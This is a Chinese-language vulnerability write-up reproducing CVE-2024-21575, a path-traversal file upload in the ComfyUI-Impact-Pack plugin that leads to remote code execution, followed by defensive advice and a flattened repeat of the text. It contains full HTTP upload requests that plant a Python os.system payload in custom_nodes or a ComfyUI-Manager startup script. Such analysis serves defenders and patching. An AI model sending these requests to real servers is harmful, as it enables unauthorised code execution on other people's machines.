记一次Comfy插件RCE复现(CVE-2024-21575 )
字数 1520 2025-08-30 06:50:27

ComfyUI-Impact-Pack插件RCE漏洞复现与分析 (CVE-2024-21575)

漏洞概述

ComfyUI-Impact-Pack插件存在一个任意文件上传漏洞(CVE-2024-21575),可能导致远程代码执行(RCE)。该漏洞源于插件对上传文件路径处理不当,允许攻击者通过目录穿越实现任意文件上传。

受影响版本:ComfyUI-Impact-Pack 7.6.2以下版本
修复方案:升级至ComfyUI-Impact-Pack 7.6.2或更高版本

漏洞分析

漏洞位置

漏洞位于impact_server.py文件中,具体问题在于对上传文件的文件名参数(filename)未做充分验证,导致可以构造包含路径遍历字符的文件名。

漏洞利用条件

  1. 文件类型不受限制
  2. 服务器会对同名文件自动重命名(如example (1).png)
  3. 无法直接创建自定义文件夹
  4. 需要知道服务器上的部分路径信息

关键限制

  • 文件覆盖限制:无法直接覆盖现有文件,服务器会自动为重名文件添加序号后缀
  • 目录创建限制:无法直接创建自定义目录

漏洞利用方法

方法一:利用custom_nodes目录

  1. 发现可利用目录:通过错误信息发现custom_nodes/git目录存在但缺少__init__.py文件

    • 错误示例:Cannot import /Users/xxx/comfy/ComfyUI/custom_nodes/git module for custom nodes: [Errno 2] No such file or directory: '/Users/xxx/comfy/ComfyUI/custom_nodes/git/__init__.py'
  2. 构造恶意文件上传

    • 上传路径:../custom_nodes/git/__init__.py
    • 文件内容:包含恶意Python代码
  3. 触发执行:当插件重新加载时,会自动执行__init__.py中的代码

方法二:利用ComfyUI-Manager的startup-scripts

  1. 发现可利用目录user/default/ComfyUI-Manager/startup-scripts/

  2. 上传install-scripts.txt

    • 上传路径:../user/default/ComfyUI-Manager/startup-scripts/install-scripts.txt
    • 文件内容:包含要执行的命令
  3. 触发执行:系统会根据install-scripts.txt中的指令执行相应操作

路径探测技巧

当不清楚服务器上的确切路径时,可以通过以下方法探测:

  1. 尝试上传到不同路径
  2. 观察错误返回信息
  3. 通过不断尝试和错误反馈逐步确定正确路径

漏洞复现步骤

1. 确认任意文件上传

构造如下请求确认漏洞存在:

POST /upload/image HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="image"; filename="../test.txt"
Content-Type: text/plain

test content
------WebKitFormBoundaryABC123--

2. 实现RCE

通过custom_nodes方法:

POST /upload/image HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="image"; filename="../custom_nodes/git/__init__.py"
Content-Type: text/plain

import os
os.system("恶意命令")
------WebKitFormBoundaryABC123--

通过startup-scripts方法:

POST /upload/image HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="image"; filename="../user/default/ComfyUI-Manager/startup-scripts/install-scripts.txt"
Content-Type: text/plain

{"install": "", "uninstall": "", "pip": "恶意包或命令", "execute": "恶意命令"}
------WebKitFormBoundaryABC123--

防御建议

  1. 及时升级:将ComfyUI-Impact-Pack升级至7.6.2或更高版本
  2. 输入验证:对所有上传的文件名进行严格验证,过滤路径遍历字符
  3. 文件隔离:将上传文件存储在非Web可访问目录
  4. 权限控制:限制Web服务器的文件系统访问权限
  5. 安全审计:定期审查自定义插件和节点的安全性

总结

该漏洞通过组合文件上传和路径遍历缺陷,最终实现远程代码执行。虽然存在一些限制条件(如无法直接覆盖文件),但通过巧妙利用系统自动加载机制和现有目录结构,攻击者仍能实现稳定的RCE。管理员应及时应用安全更新,并审查系统中其他可能存在类似问题的插件。

ComfyUI-Impact-Pack插件RCE漏洞复现与分析 (CVE-2024-21575) 漏洞概述 ComfyUI-Impact-Pack插件存在一个任意文件上传漏洞(CVE-2024-21575),可能导致远程代码执行(RCE)。该漏洞源于插件对上传文件路径处理不当,允许攻击者通过目录穿越实现任意文件上传。 受影响版本 :ComfyUI-Impact-Pack 7.6.2以下版本 修复方案 :升级至ComfyUI-Impact-Pack 7.6.2或更高版本 漏洞分析 漏洞位置 漏洞位于 impact_server.py 文件中,具体问题在于对上传文件的文件名参数( filename )未做充分验证,导致可以构造包含路径遍历字符的文件名。 漏洞利用条件 文件类型不受限制 服务器会对同名文件自动重命名(如 example (1).png ) 无法直接创建自定义文件夹 需要知道服务器上的部分路径信息 关键限制 文件覆盖限制 :无法直接覆盖现有文件,服务器会自动为重名文件添加序号后缀 目录创建限制 :无法直接创建自定义目录 漏洞利用方法 方法一:利用custom_ nodes目录 发现可利用目录 :通过错误信息发现 custom_nodes/git 目录存在但缺少 __init__.py 文件 错误示例: Cannot import /Users/xxx/comfy/ComfyUI/custom_nodes/git module for custom nodes: [Errno 2] No such file or directory: '/Users/xxx/comfy/ComfyUI/custom_nodes/git/__init__.py' 构造恶意文件上传 : 上传路径: ../custom_nodes/git/__init__.py 文件内容:包含恶意Python代码 触发执行 :当插件重新加载时,会自动执行 __init__.py 中的代码 方法二:利用ComfyUI-Manager的startup-scripts 发现可利用目录 : user/default/ComfyUI-Manager/startup-scripts/ 上传install-scripts.txt : 上传路径: ../user/default/ComfyUI-Manager/startup-scripts/install-scripts.txt 文件内容:包含要执行的命令 触发执行 :系统会根据 install-scripts.txt 中的指令执行相应操作 路径探测技巧 当不清楚服务器上的确切路径时,可以通过以下方法探测: 尝试上传到不同路径 观察错误返回信息 通过不断尝试和错误反馈逐步确定正确路径 漏洞复现步骤 1. 确认任意文件上传 构造如下请求确认漏洞存在: 2. 实现RCE 通过custom_ nodes方法: 通过startup-scripts方法: 防御建议 及时升级 :将ComfyUI-Impact-Pack升级至7.6.2或更高版本 输入验证 :对所有上传的文件名进行严格验证,过滤路径遍历字符 文件隔离 :将上传文件存储在非Web可访问目录 权限控制 :限制Web服务器的文件系统访问权限 安全审计 :定期审查自定义插件和节点的安全性 总结 该漏洞通过组合文件上传和路径遍历缺陷,最终实现远程代码执行。虽然存在一些限制条件(如无法直接覆盖文件),但通过巧妙利用系统自动加载机制和现有目录结构,攻击者仍能实现稳定的RCE。管理员应及时应用安全更新,并审查系统中其他可能存在类似问题的插件。